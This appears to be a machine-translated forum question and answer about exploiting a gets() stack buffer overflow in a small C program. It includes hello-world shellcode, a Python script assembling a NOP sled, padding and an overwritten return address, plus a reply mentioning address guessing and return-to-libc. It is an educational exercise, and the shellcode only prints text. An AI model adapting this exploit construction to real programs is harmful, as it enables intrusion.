2016-02-16 255 views
2

我正在尋找一些幫助環繞下我的頭:緩衝區溢出援助

#include <stdlib.h> 
#include <unistd.h> 
#include <stdio.h> 
#include <string.h> 

int main(int argc, char **argv) 
{char buffer[70]; 
gets(buffer);} 

我知道這很容易受到緩衝區溢出。它需要92個「A」,然後接下來的4個字符覆蓋eip。我有一個我發現的簡單打印'hello world'的shellcode,這就是我真正需要的。

"\xe9\x1e\x00\x00\x00" 
"\xb8\x04\x00\x00\x00" 
"\xbb\x01\x00\x00\x00" 
"\x59" 
"\xba\x0f\x00\x00\x00" 
"\xcd\x80" 
"\xb8\x01\x00\x00\x00" 
"\xbb\x00\x00\x00\x00" 
"\xcd\x80" 
"\xe8\xdd\xff\xff\xff" 
"\x48\x65\x6c\x6c\x6f\x2c\x20\x57" 
"\x6f\x72\x6c\x64\x21\x0d\x0a" 

因此,我留下了37個字節的NOP雪橇和任何填充。

(32 NOP + 55 +殼5 「A」 S + 4指針)= 96

我有越來越的地址指針的問題。我似乎無法圍繞這部分如何解決問題。

如果我對我的任何想法都有誤,請讓我知道,任何幫助將不勝感激。

這裏是Python我有它至今:

shell="\xe9\x1e\x00\x00\x00\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\x59\xba\x0f\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xdd\xff\xff\xff\x48\x65\x6c\x6c\x6f\x2c\x20\x54\x69\x67\x65\x72\x21\x0d\x0a" 
nop = "\x90"*32 
padding = "A"*(92 - 32 - 55) 
pointer = '\x48\xea\x90\xbf' 

print nop + shell + padding + pointer 

回答

1

除非你找出正確的偏移量(另一個漏洞)的一些方法,你不會知道正確的價值。 Stack默認情況下稍有隨機性,PAX會更糟。

你總是可以多次用潛在的地址和最好的希望。或者,如果您可以在加載的庫的某處找到正確的指令,並且二進制文件不是用PIE編譯的,則可以嘗試跳轉到libc。